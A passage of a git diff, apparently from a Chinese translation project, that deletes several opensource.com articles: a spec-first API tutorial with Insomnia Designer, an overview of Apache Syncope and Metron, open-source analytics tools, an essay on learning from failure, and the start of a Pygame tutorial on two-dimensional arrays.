to prevent changes from having negative impacts. - -It's estimated that 40% of large enterprises struggle with challenges to secure, scale, or ensure performance for APIs. Because of this, more and more companies are choosing to adopt a "spec-first development" approach by defining and documenting APIs in an external format like [OpenAPI][2]. Storing these documents together in a central location makes it much easier to design, discuss, and approve changes _before_ implementation. - -In this tutorial, you'll use the recently released [Insomnia Designer][3] to document an API, explore it, and propose a change using a spec-first approach. Designer is a cross-platform, open source REST client that builds on top of Insomnia Core—a popular app for interacting with HTTP and GraphQL APIs—aiming to make spec-first development more accessible by providing collaborative tools to organize, maintain, and validate API specs. In essence, Core is best for exploring and debugging APIs while Designer is best for designing and documenting them. - -In this how-to, you'll use the [Open Library API][4] as a base to have working examples to play with. You'll create a minimal OpenAPI spec to document the APIs, use Insomnia Designer to test and verify that what you've done is correct, and then make some design changes to the API using a spec-first approach. - -### The spec-first workflow - -Before you begin, you should understand the steps necessary to adopt a spec-first workflow. In spec-first development, a specification can be in one of two states: - - * **Published spec:** A specification that describes a currently published API exactly - * **Proposal spec:** A draft specification that contains changes that need to be implemented - - - -From this information, you can define a workflow for making changes to an API: - - 1. Start with the published specification for the API - 2. Make changes to the specification to add or modify behavior - 3. Review the proposal spec to ensure the design is sufficient - 4. Implement changes in code to match the proposal - 5. Publish the proposal spec along with the API - - - -Now that you understand the workflow for what you are trying to accomplish, open Insomnia Designer and start trying it out. - -### Define the initial specification - -Since you don't yet have a published specification for the Open Library API, you need to define one. - -Start by creating a new blank document from the **Create** menu, give it a name, then click to the document to enter **Design View**. From here, you can start editing your spec. - -![Create a new document][5] - -(Greg Schier, [CC BY-SA 4.0][6]) - -The OpenAPI spec is most commonly written in [YAML][7] format and requires four top-level blocks to get started: `openapi`, `info`, `servers`, and `paths`. The following example defines each of these blocks with helpful comments to describe the purpose of each. Also, the `paths` block defines a route for `GET /recentchanges.json`: - - -``` -# Specify that your document is the OpenAPI 3 format -openapi: 3.0.0 - -# Define high-level metadata for the API -info: -  version: 1.0.0 -  title: Open Library API -  description: Open Library has a RESTful API -  -# Specify the base URL the API can be accessed from -servers: -  - url: - -# Define operations for the API. This will be where most -# of the work is done. The first route you'll be defining -# is `GET /recentchanges.json` -paths: -  /recentchanges.json: -    get: -      summary: Recent Changes -``` - -OpenAPI provides much more than what's visible here, such as the ability to define authentication, response formats, reusable components, and more. - -After copying the specification above into Insomnia Designer, you'll see three columns: - - 1. **Navigation sidebar (left):** Nested menu to make navigating larger documents easier - 2. **Spec editor (middle):** Text editor for editing the YAML document - 3. **Documentation preview:** Generated documentation to preview the specification - - - -![Insomnia Designer UI with three columns][8] - -(Greg Schier, [CC BY-SA 4.0][6]) - -Feel free to modify different parts of the specification to see what happens. As a safeguard, Insomnia Designer alerts you when you've done something wrong. For example, if you accidentally delete the colon on line 18, an error panel will display below the editor. - -![Insomnia Designer UI error message][9] - -(Greg Schier, [CC BY-SA 4.0][6]) - -Now that you have defined a specification, you can verify that your definition is correct by switching to **Debug** mode and sending a real request to the API. In Debug mode, you can see a single route was generated for the `GET /recentchanges.json` endpoint. Click the **Send** button beside the URL to execute the request and render the response in the right panel. - -![Checking response in Insomnia Designer][10] - -(Greg Schier, [CC BY-SA 4.0][6]) - -There you have it! You've successfully verified that the API specification you created matches the production API. Now you can move to the next step in the spec-first development workflow and propose a change. - -### Create a proposal specification - -According to the workflow outlined above, changes made to your API should first be defined in the specification. This has a number of benefits: - - * Specifications can be checked into a central source-code repository - * Changes are easy to review and approve - * APIs are defined in a single, consistent format - * Unnecessary code changes are avoided - - - -Go ahead and propose a change to your API. While in Debug mode, I noticed the API returned hundreds of results. To improve performance and usability, it would be useful to limit the number of results returned to a specific amount. A common way of doing this is to accept a `limit` parameter in the query section of the URL, so go ahead and modify your specification to add a `limit` parameter. - -In OpenAPI, you can define this by adding a `parameters` block to the route**:** - - -``` -# ... -paths: -  /recentchanges.json: -    get: -      summary: Recent Changes -      -      # Add parameter to limit the number of results -      parameters: -        - name: limit -          in: query -          description: Limit number of results -          required: true -          schema: -            type: integer -            example: 1 -``` - -You can verify you defined it correctly by expanding the route within the preview and inspecting the parameters. - -![Verifying spec definition in Insomnia][11] - -(Greg Schier, [CC BY-SA 4.0][6]) - -### Review and implement the proposal - -Now that you have created a proposal spec, you can have your team review and approve the changes. Insomnia Designer provides the ability to [sync API specifications to source control][12], allowing teams to review and approve changes to API specs the same way they do with source code. - -For example, you might commit and push your proposed spec to a new branch in GitHub and create a pull request to await approval. - -Because this is a tutorial on spec-first development, you won't implement the proposal yourself. The parameter you added is already supported by the API, however, so for the purpose of this article, use your imagination and pretend that your team has implemented the change. - -### Verify the updated specification - -Once the proposal has been implemented and deployed, you can switch to Debug mode, which will regenerate the requests based on your changes, and again verify that the spec matches the production API. To ensure the new query param is being sent, click the **Query** tab within Debug mode and observe that the `limit` parameter is set to your example value of `1`. - -Once you send the request, you can verify that it returns only a single result. Change the `limit` to a different value or disable the query parameter (using the checkbox) to further verify things work as expected. - -![Verifying things work as expected in Insomnia Designer][13] - -(Greg Schier, [CC BY-SA 4.0][6]) - -### The power of spec-first development - -This tutorial walked through a simplified example of spec-first development. In it, you created an OpenAPI specification, verified the specification matched the implementation, and simulated what it's like to propose a behavior change. - -For a single API as simple as this demo, it may be difficult to see the full benefit of spec-first development. However, imagine being a product owner in a large organization managing hundreds of production APIs. Having well-documented specifications, accessible from a central location like Insomnia Designer, allows anyone within the organization to quickly get up to speed on any API. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/spec-first-development-apis - -作者:[Greg Schier][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/gregschier -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_space_graphic_cosmic.png?itok=wu493YbB (Computer laptop in space) -[2]: https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.2.md -[3]: https://insomnia.rest/products/designer -[4]: https://openlibrary.org/developers/api -[5]: https://opensource.com/sites/default/files/uploads/insomnia_newdocument.png (Create a new document) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://yaml.org/ -[8]: https://opensource.com/sites/default/files/uploads/insomnia_columns.png (Insomnia Designer UI with three columns) -[9]: https://opensource.com/sites/default/files/uploads/insomnia_error.png (Insomnia Designer UI error message) -[10]: https://opensource.com/sites/default/files/uploads/insomnia_response.png (Checking response in Insomnia Designer) -[11]: https://opensource.com/sites/default/files/uploads/insomnia_verifydefinition.png (Verifying spec definition in Insomnia) -[12]: https://support.insomnia.rest/article/96-git-sync -[13]: https://opensource.com/sites/default/files/uploads/insomnia_limit.png (Verifying things work as expected in Insomnia Designer) diff --git a/sources/tech/20201008 Protect your network with open source tools.md b/sources/tech/20201008 Protect your network with open source tools.md deleted file mode 100644 index 44ab5e3216..0000000000 --- a/sources/tech/20201008 Protect your network with open source tools.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Protect your network with open source tools) -[#]: via: (https://opensource.com/article/20/10/apache-security-tools) -[#]: author: (Chantale Benoit https://opensource.com/users/chantalebenoit) - -Protect your network with open source tools -====== -Apache Syncope and Metron can help you secure your network against -unauthorized access and data loss. -![A lock on the side of a building][1] - -System integrity is essential, especially when you're charged with safeguarding other people's personal details on your network. It's critical that system administrators are familiar with security tools, whether their purview is a home, a small business, or an organization with hundreds or thousands of employees. - -### How cybersecurity works - -Cybersecurity involves securing networks against unauthorized access. However, there are many attack vectors out there that most people don't consider. The cliché of a lone hacker manually dueling with firewall rules until they gain access to a network is popular—but wildly inaccurate. Security breaches happen through automation, malware, phishing, ransomware, and more. You can't directly fight every attack as it happens, and you can't count on every computer user to exercise common sense. Therefore, you have to design a system that resists intrusion and protects users against outside attacks as much as it protects them from their own mistakes. - -The advantage of open source security tools is that they keep vulnerabilities transparent. They give full visibility into their codebase and are supported by a global community of experts working together to create strong, tried-and-tested code. - -With so many domains needing protection, there's no single cybersecurity solution that fits every situation, but here are two that you should consider. - -### Apache Syncope - -[Apache Syncope][2] is an open source system for managing digital identities in an enterprise environment. From focusing on identity lifecycle management and identity storage to provisioning engines and accessing management capabilities, Apache Syncope is a comprehensive identity management solution. It also provides monitoring and security features for third-party applications. - -Apache Syncope synchronizes users, groups, and other objects. _Users_ represent the buildup of virtual identities and account information fragmented across external resources. _Groups_ are entities on external resources that support the concept of LDAP or Active Directory. _Objects_ are entities such as printers, services, and sensors. It also does full reconciliation and live synchronization from external resources with workflow-based approval. - -#### Third-party applications - -Apache Syncope also exposes a fully compliant [JAX-RS][3] 2.0 [RESTful][4] interface to enable third-party applications written in any programming language. These applications consume identity management services, such as: - - * **Logic:** Syncope implements business logic that can be triggered through REST services and controls additional features such as notifications, reports, and auditing. - * **Provisioning:** It manages the internal and external representation of users, groups, and objects through workflow and specific connectors. - * **Workflow:** Syncope supports Activiti or Flowable [business process management (BPM)][5] workflow engines and allows defining new and custom workflows when needed. - * **Persistence:** It manages all data, such as users, groups, attributes, and resources, at a high level using a standard [JPA 2.0][6] approach. The data is further persisted to an underlying database, such as internal storage. - * **Security:** Syncope defines a fine-grained set of entitlements, which are granted to administrators and enable the implementation of delegated administration scenarios. - - - -#### Syncope extensions - -Apache Syncope's features can be enhanced with [extensions][7], which add a REST endpoint and manage the persistence of additional entities, tweak the provisioning layer, and add features to the user interface. - -Some popular extensions include: - - * **Swagger UI** works as a user interface for Syncope RESTful services. - * **SSO support** provides OpenID Connect and SAML 2.0 access to administrative or end-user web interfaces. - * **Apache Camel provisioning manager** delegates the execution of the provisioning process to a group of Apache Camel routes. It can be dynamically changed at the runtime through the REST interfaces or the administrative console, and modifications are also instantly available for processing. - * **Elasticsearch** provides an alternate internal search engine for users, groups, and objects through an external [Elasticsearch][8] cluster. - - - -### Apache Metron - -Security information and event management ([SIEM][9]) gives admins insights into the activities happening within their IT environment. It combines the concepts of security event management (SEM) with security information management (SIM) into one functionality. SIEM collects security data from network devices, servers, and domain controllers, then aggregates and analyzes the data to detect malicious threats and payloads. - -[Apache Metron][10] is an advanced security analytics framework that detects cyber anomalies, such as phishing activity and malware infections. Further, it enables organizations to take corrective measures to counter the identified anomalies. - -It also interprets and normalizes security events into standard JSON language, which makes it easier to analyze security events, such as: - - * An employee flagging a suspicious email - * An authorized or unauthorized software download by an employee to a company device - * A security lapse due to a server outage - - - -Apache Metron provides security alerts, labeling, and data enrichment. It can also store and index security events. Its four key capabilities are: - - * **Security data lake:** Metron is a cost-effective way to store and combine a wide range of business and security data. The security data lake provides the amount of data required to power discovery analytics. It also provides a mechanism to search and query for operational analytics. - * **Pluggable framework:** It provides a rich set of parsers for common security data sources such as pcap, NetFlow, Zeek (formerly Bro), Snort, FireEye, and Sourcefire. You can also add custom parsers for new data sources, including enrichment services for more contextual information, to the raw streaming data. The pluggable framework provides extensions for threat-intel feeds and lets you customize security dashboards. Machine learning and other models can also be plugged into real-time streams and provide extensibility. - * **Threat detection platform:** It uses machine learning algorithms to detect anomalies in a system. It also helps analysts extract and reconstruct full packets to understand the attacker's identity, what data was leaked, and where the data was sent. - * **Incident response application:** This refers to evolved SIEM capabilities, including alerting, threat intel frameworks, and agents to ingest data sources. Incident response applications include packet replay utilities, evidence storage, and hunting services commonly used by security operations center analysts. - - - -### Security matters - -Incorporating open source security tools into your IT infrastructure is imperative to keep your organization safe and secure. Open source tools, like Syncope and Metron from Apache, can help you identify and counter security threats. Learn to use them well, file bugs as you find them, and help the open source community protect the world's data. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/apache-security-tools - -作者:[Chantale Benoit][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/chantalebenoit -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_3reasons.png?itok=k6F3-BqA (A lock on the side of a building) -[2]: https://syncope.apache.org/ -[3]: https://jax-rs.github.io/apidocs/2.0/ -[4]: https://www.redhat.com/en/topics/api/what-is-a-rest-api -[5]: https://www.redhat.com/en/topics/automation/what-is-business-process-management -[6]: http://openjpa.apache.org/openjpa-2.0.0.html -[7]: http://syncope.apache.org/docs/2.1/reference-guide.html#extensions -[8]: https://opensource.com/life/16/6/overview-elastic-stack -[9]: https://en.wikipedia.org/wiki/Security_information_and_event_management -[10]: http://metron.apache.org/ diff --git a/sources/tech/20201008 Top 5 open source alternatives to Google Analytics.md b/sources/tech/20201008 Top 5 open source alternatives to Google Analytics.md deleted file mode 100644 index b06206d8ce..0000000000 --- a/sources/tech/20201008 Top 5 open source alternatives to Google Analytics.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Top 5 open source alternatives to Google Analytics) -[#]: via: (https://opensource.com/article/18/1/top-5-open-source-analytics-tools) -[#]: author: (Scott Nesbitt https://opensource.com/users/scottnesbitt) - -Top 5 open source alternatives to Google Analytics -====== -These four versatile web analytics tools provide valuable insights on -your customers and site visitors while keeping you in control. -![Analytics: Charts and Graphs][1] - -If you have a website or run an online business, collecting data on where your visitors or customers come from, where they land on your site, and where they leave _is vital._ Why? That information can help you better target your products and services, and beef up the pages that are turning people away. - -To gather that kind of information, you need a web analytics tool. - -Many businesses of all sizes use Google Analytics. But if you want to keep control of your data, you need a tool that _you_ can control. You won’t get that from Google Analytics. Luckily, Google Analytics isn’t the only game on the web. - -Here are four open source alternatives to Google Analytics. - -### Matomo - -Let’s start with the open source application that rivals Google Analytics for functions: [Matomo][2] (formerly known as Piwik). Matomo does most of what Google Analytics does, and chances are it offers the features that you need. - -Those features include metrics on the number of visitors hitting your site, data on where they come from (both on the web and geographically), the pages from which they leave, and the ability to track search engine referrals. Matomo also offers many reports, and you can customize the dashboard to view the metrics that you want to see. - -To make your life easier, Matomo integrates with more than 65 content management, e-commerce, and online forum systems, including WordPress, Magneto, Joomla, and vBulletin, using plugins. For any others, you can simply add a tracking code to a page on your site. - -You can [test-drive][3] Matomo or use a [hosted version][4]. - -### Open Web Analytics - -If there’s a close second to Matomo in the open source web analytics stakes, it’s [Open Web Analytics][5]. In fact, it includes key features that either rival Google Analytics or leave it in the dust. - -In addition to the usual raft of analytics and reporting functions, Open Web Analytics tracks where on a page, and on what elements, visitors click; provides [heat maps][6] that show where on a page visitors interact the most; and even does e-commerce tracking. - -Open Web Analytics has a [WordPress plugin][7] and can [integrate with MediaWiki][8] using a plugin. Or you can add a snippet of [JavaScript][9] or [PHP][10] code to your web pages to enable tracking. - -Before you [download][11] the Open Web Analytics package, you can [give the demo a try][12] to see it it’s right for you. - -### AWStats - -Web server log files provide a rich vein of information about visitors to your site, but tapping into that vein isn't always easy. That's where [AWStats][13] comes to the rescue. While it lacks the most modern look and feel, AWStats more than makes up for that with breadth of data it can present. - -That information includes the number of unique visitors, how long those visitors stay on the site, the operating system and web browsers they use, the size of a visitor's screen, and the search engines and search terms people use to find your site. AWStats can also tell you the number of times your site is bookmarked, track the pages where visitors enter and exit your sites, and keep a tally of the most popular pages on your site. - -These features only scratch the surface of AWStats's capabilities. It also works with FTP and email logs, as well as [syslog][14] files. AWStats can gives you a deep insight into what's happening on your website using data that stays under your control. - -### Countly - -[Countly][15] bills itself as a "secure web analytics" platform. While I can't vouch for its security, Countly does a solid job of collecting and presenting data about your site and its visitors. - -Heavily targeting marketing organizations, Countly tracks data that is important to marketers. That information includes site visitors' transactions, as well as which campaigns and sources led visitors to your site. You can also create metrics that are specific to your business. Countly doesn't forgo basic web analytics; it also keeps track of the number of visitors on your site, where they're from, which pages they visited, and more. - -You can use the hosted version of Countly or [grab the source code][16] from GitHub and self-host the application. And yes, there are [differences between the hosted and self-hosted versions][17] of Countly. - -### Plausible - -[Plausible][18] is a newer kid on the open source analytics tools block. It’s lean, it’s fast, and only collects a small amount of information — that includes numbers of unique visitors and the top pages they visited, the number of page views, the bounce rate, and referrers. Plausible is simple and very focused. - -What sets Plausible apart from its competitors is its heavy focus on privacy. The project creators state that the tool doesn’t collect or store any information about visitors to your website, which is particularly attractive if privacy is important to you. You can read more about that [here][19]. - -There’s a [demo instance][20] that you check out. After that, you can either [self-host][21] Plausible or sign up for a [paid, hosted account][22]. - -**Share your favorite open source web analytics tool with us in the comments.** - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/18/1/top-5-open-source-analytics-tools - -作者:[Scott Nesbitt][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/scottnesbitt -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/analytics-graphs-charts.png?itok=sersoqbV (Analytics: Charts and Graphs) -[2]: https://matomo.org/ -[3]: https://demo.matomo.org/index.php?module=CoreHome&action=index&idSite=3&period=day&date=yesterday -[4]: https://www.innocraft.cloud/ -[5]: http://www.openwebanalytics.com/ -[6]: http://en.wikipedia.org/wiki/Heat_map -[7]: https://github.com/padams/Open-Web-Analytics/wiki/WordPress-Integration -[8]: https://github.com/padams/Open-Web-Analytics/wiki/MediaWiki-Integration -[9]: https://github.com/padams/Open-Web-Analytics/wiki/Tracker -[10]: https://github.com/padams/Open-Web-Analytics/wiki/PHP-Invocation -[11]: https://github.com/padams/Open-Web-Analytics -[12]: http://demo.openwebanalytics.com/ -[13]: http://www.awstats.org -[14]: https://en.wikipedia.org/wiki/Syslog -[15]: https://count.ly/web-analytics -[16]: https://github.com/Countly -[17]: https://count.ly/pricing#compare-editions -[18]: https://plausible.io -[19]: https://plausible.io/data-policy -[20]: https://plausible.io/plausible.io -[21]: https://plausible.io/self-hosted-web-analytics -[22]: https://plausible.io/register diff --git a/sources/tech/20201009 5 ways organizations can lean into failure and transform it into success.md b/sources/tech/20201009 5 ways organizations can lean into failure and transform it into success.md deleted file mode 100644 index 5a05391cd3..0000000000 --- a/sources/tech/20201009 5 ways organizations can lean into failure and transform it into success.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 ways organizations can lean into failure and transform it into success) -[#]: via: (https://opensource.com/article/20/10/organizations-can-lean-failure) -[#]: author: (Dawn Parzych https://opensource.com/users/dawnparzych) - -5 ways organizations can lean into failure and transform it into success -====== -Removing the fear of failure fosters innovation and open-mindedness, -turning mistakes into opportunities for growth and improvement. -![failure sign at a party, celebrating failure][1] - -> "If failure is not an option, then neither is success."—Seth Godin - -Success is something we all strive toward, but the road to success has twists and turns, which are also known as our failures. But instead of giving up when things don't go my way, I have learned to look at failures as learning opportunities. In fact, I now proudly admit that I'm a failure: - - * I failed my driving test the first time I took it. - * I have not gotten every job I've ever applied or interviewed for. - * Most of the articles I've written have not gone viral. - - - -As software engineers, our industry may be competitive, but we need to remove the stigma associated with failing. One way of doing that is to talk about our failures. The more we hear and talk about failures, the more acceptable it becomes. We need to think about failures as learning opportunities, not a time to shame and ridicule others (or ourselves). - -When we have failed, or think we have made a mistake, most of us get that pit in the bottom of our stomach, and the negative self-talk can kick in almost instantly. This reaction occurs because there are often consequences for mistakes, which can impact us personally as well as the organizations we work for. - -Let's consider a hypothetical example: A software engineer submits a pull request for a new feature. It gets merged and released to production. Something goes wrong, and the application begins throwing errors. Customers can't log in. Sadly this isn't the first time this has happened. Some customers are fed up with the application breaking and have canceled their contracts. The CTO is furious. They want to know who is responsible for this feature being released. The team is understaffed because several team members have left the company, and those that remain are [burned out][2]. The incident takes way longer than usual to be resolved, and everyone is grumpy at the end. - -This worst-case scenario doesn't mean we should always play it safe and not take risks. We need to balance the risks with the rewards when making technical decisions at work and with the open source projects we work on. I like to visualize success and failure as two opposite banks of a river, connected by a bridge. That bridge is built out of knowledge, learning, and understanding. Failure is when we grow, but only if we're learning from those failures and have a good mixture of success sprinkled in. - -### What is needed to accept failure? - -Embracing failure from a personal and organizational point of view doesn't happen overnight. It takes both time and the right culture. Start with one of the five areas outlined below. - -#### Have a growth mindset - -In the book _Growth_, Carol Dweck describes two types of mindsets: growth and fixed. A person with a fixed mindset believes in innate capabilities—you're either born with it, or you're not. Failure represents a limit on one's abilities. - -A person with a growth mindset believes that individual effort and attitude determine one's abilities and that they can learn and improve as long as they put in the effort. Failure represents an opportunity to grow. - -To encourage growth means to encourage failure. But saying "it's OK to fail" is not the same as creating a culture where it honestly is OK to fail. That requires psychological safety and a blameless culture. - -#### Create a blameless culture - -A blameless culture focuses on _where_ a system or a process failed, not on _who_ is responsible. If you spend time after an incident looking for and attributing root cause to human error, you are assigning blame. Instead, look for how things can be improved. What broke? How did it break? How can you prevent it in the future? - -![Image of swampy area with overlaid quote reading "If a junior engineer asks where outages come from, I think a cute thing to tell them is 'The server is crying.' And if they ask why the server is crying, another cute thing to tell them is 'probably becaus][3] - -Published with permission from Joshua Zimmerman (@TheJewberwocky) - -#### Foster psychological safety - -A blameless culture cannot exist without psychological safety. Psychological safety is the ability to show up to work without fear; you feel included in the whole, that it is safe to learn, safe to contribute, and safe to challenge the status quo without fear of consequences. Employees need to feel empowered to speak up if they see processes that need to be improved if they are concerned with security or lack of security procedures in place. They need to feel they won't be blamed for taking a risk where the end result wasn't quite what was expected. - -One way to create a blameless culture and provide psychological safety is to eliminate the word "why" from your vocabulary. Why is used quite frequently—there are problem-solving techniques called ["The "5 Whys."][4] The problem with "why" is it is subtly coded instead as "explain yourself." Having to answer "why" questions put people on the defensive, and they spend time focusing on what the "right" answer is instead of answering honestly. Instead, switch to using "what" or "how" questions. "How" and "what" questions promote concrete action. - -Consider the difference in these questions: - - * Why did last night's release cause a series of exceptions? -vs. - * How were the exceptions triggered? - - - -> "Recently, I was asked if I was going to fire an employee who made a mistake that cost the company $600,000. 'No,' I replied, 'I just spent $600,000 training him. Why would I want somebody else to hire his experience?'"— Thomas J. Watson, Chairman & CEO of IBM, 1914-1956 - -#### Remember the importance of play - -The final aspect of embracing failure is to make time to play. Play shapes our brains and fosters empathy. From a young age, we learn to play games, play on a sports team, play on our own, etc. Chances are you didn't always play on an undefeated sports team or win every single game you've ever played, but practice helped you get better over time no matter what. These experiences teach us to be comfortable with failure and to take it in stride with growth and improvement. - -#### Experimentation leads to learning - -Now that you're ready to embrace failure in your DevOps or engineering practices, where do you start? One of the first processes to look at is the build process. As you most likely know, builds can sometimes result in failures. Changing your build process to include [progressive delivery][5] techniques helps you release features in a controlled manner as opposed to a big bang. Using ring deployments or a canary launch, you can see how a feature performs for a small group of users. If there is a failure, the blast radius has been minimized. - -Another process that can help you learn about your applications and systems is experimentation. Experiments provide a number of learning opportunities, and they don't always go as expected. Some failures can turn into wild successes; for example—[Post-it Notes][6]. Experiments allow us to test a hypothesis and learn new things. Experimenting with software can look like running an A/B test to see which look and feel leads to greater engagement or collecting page load time metrics to see if adding pagination to search results negatively impacts performance. - -A popular type of experimentation is to run a chaos day or game day. With a game day, you purposely cause a system or application to fail. This combines the notion of play, failure, and learning. During this controlled experiment, you learn how your system behaves during failure scenarios. The knowledge gained during game days can be used to put safety measures in place or define processes for what to do when a specific failure occurs. - -### Lean into failure - -Failure can be scary; it is seen as a negative and something we want to avoid. I call on you to change your perspective on this. If you're not failing, you're not learning. - -I challenge you to normalize failure and help reduce the stigma by sharing a failure of yours. Share your failures in the comments below or tag me on social media. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/organizations-can-lean-failure - -作者:[Dawn Parzych][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dawnparzych -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/fail_failure_celebrate.png?itok=LbvDAEZF (failure sign at a party, celebrating failure) -[2]: https://opensource.com/article/19/11/burnout-open-source-communities -[3]: https://opensource.com/sites/default/files/uploads/quote-failure-opensource_0.png -[4]: https://en.wikipedia.org/wiki/Five_whys -[5]: https://launchdarkly.com/blog/all-the-canaries-lived-its-time-to-adopt-progressive-delivery/ -[6]: https://www.ideatovalue.com/insp/nickskillicorn/2017/04/true-story-post-notes-almost-failed/ diff --git a/sources/tech/20201009 My open source video game for Open Jam.md b/sources/tech/20201009 My open source video game for Open Jam.md deleted file mode 100644 index e4929f98ab..0000000000 --- a/sources/tech/20201009 My open source video game for Open Jam.md +++ /dev/null @@ -1,235 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (My open source video game for Open Jam) -[#]: via: (https://opensource.com/article/20/10/open-source-game) -[#]: author: (Klaatu https://opensource.com/users/klaatu) - -My open source video game for Open Jam -====== -Step through a game programmed for Open Jam 2020 to get tips for your -own design. -![Gaming with penguin pawns][1] - -This year, I joined in on the [Open Jam][2], a "game jam" in which programmers around the world dedicate a weekend to create open source games. The jam is essentially an excuse to spend a weekend coding, and the majority of the games that come out of the challenge are small distractions rather than something you're likely to play for hours on end. But they're fun, diverse, and open source, and that's a pretty good feature list for a game. - -The game I submitted is [Unveil][3], a calming puzzle game in which the player must first discover the goal, and then work to achieve it with the greatest number of points. Because part of the game is the discovery process, I won't reveal any more about the gameplay than that. - -![Unveil game][4] - -(Klaatu, [CC BY-SA 4.0][5]) - -The whole game is only 338 lines, written in [Python][6] using the [Pygame][6] module. It's, of course, open source, and part of it may serve as a good introduction to a few programming concepts that used to confound me (two-dimensional arrays being the most significant). For simple game design, a two-dimensional array is very useful because so many enduring games are built on them. You can probably think of several, although if you don't know what a two-dimensional array is, you may not realize it. - -### Arrays in gaming - -An array is a collection of data. An array can be listed across a page or an X-axis (in mathematical terms). For instance: - - -``` -`artichoke, lettuce, carrot, aubergine, potato` -``` - -An array may also be represented as a list or a Y-axis: - - -``` -artichoke -lettuce -carrot -aubergine -potato -``` - -This is a one-dimensional array. A two-dimensional array extends on both the X-axis and Y-axis. - -Here's a common two-dimensional array seen in the world of board games: - -![Chess][7] - -(Klaatu, [CC BY-SA 4.0][5]) - -Yes, two-dimensional arrays are used as the board for chess, draughts, noughts and crosses (also called tic-tac-toe), [RPG battle maps][8], [minesweeper][9], Carcassonne, Forbidden Island, and in slightly modified forms, games like Monopoly and even [Ur][10] (literally the oldest game we know of). - -If you can comfortably create a two-dimensional array, you have a great start at programming any number of games. - -### Creating tiles in Pygame - -If you're not familiar with Python, you should take some time to review this [Python (and Pygame) introductory series][11]. If you feel confident enough to translate code to other libraries, though, there's nothing specific to Pygame in the "important" parts of this code (the array constructor), so you can use any library or language. - -For simplicity, I'll call the individual squares in the game board array _tiles_. To construct a two-dimensional array, or game board as the case may be, you must have tiles. In object-oriented programming, you consider each component as a unique object based upon a template (or _class_, in programming terminology). So, before creating the game board, you must first create the infrastructure for the board's building blocks: tiles. - -First, set up a simple Pygame project, creating a display (your window into the game world), a group to represent the game board, and a few standard variables: - - -``` -import pygame - -pygame.init() -game_world = pygame.display.set_mode((960, 720)) -game_board = pygame.sprite.Group() - -running = True -black = (0, 0, 0) -white = (255, 255, 255) -red = (245, 22, 22) -world_x = 960 -world_y = 720 -``` - -Next, create a `Tile` class to establish the template from which each tile gets cast. The first function initializes a new tile when one is created and gives it the necessary basic fields: width, height, an image (actually, I just filled it with the color white), and whether or not it's active. In this case, I use `is_pressed`, as if the tile is a button, because that's what it'll look like when the code is finished: when the user clicks a tile, it changes color as if it were a button being lit up. For other purposes, this state needn't be visible. In chess, for example, you might instead have a field to represent whether a tile is occupied and, if so, by what kind of chess piece. - - -``` -class Tile(pygame.sprite.Sprite): -    def __init__(self, x, y, w, h, c): -        pygame.sprite.Sprite.__init__(self) -        self.image = pygame.Surface((w, h)) -        self.image.fill(c) -        self.rect = self.image.get_rect() -        self.rect.x = x -        self.rect.y = y -        self.is_pressed = False -``` - -The second function is an update function. Specifically, it checks whether a tile has been clicked by the user. This requires mouse coordinates, which you'll get later in the code during the event loop. - -For this demonstration, I'll make this function fill the tile with the color red when it's in the `is_pressed` state and back to white otherwise: - - -``` -    def was_clicked(self, mouse): -        if self.rect.collidepoint(mouse) and not self.is_pressed: -            self.image.fill(red) -            self.is_pressed = True -        elif self.rect.collidepoint(mouse) and self.is_pressed: -            self.image.fill(white) -            self.is_pressed = False -        else: -            return False -``` - -### Main loop - -This demo's main loop is simple. It checks for two kinds of input: a quit signal and a mouse down (click) event. When it detects a mouse click, it calls the `was_clicked` function to react (filling it with red or white, depending on its current state). - -Finally, the screen fills with black, the game board state is updated, and the screen is redrawn: - - -``` -""" -holding place for game board construction -""" - -while running: -    for event in pygame.event.get(): -        if event.type == pygame.QUIT: -            running = False - -        elif event.type == pygame.MOUSEBUTTONDOWN: -            for hitbox in game_board: -                hitbox.was_clicked(event.pos) - -    game_world.fill(black) -    game_board.update() -    game_board.draw(game_world) -    pygame.display.update() - -pygame.quit() -``` - -### Board construction - -To 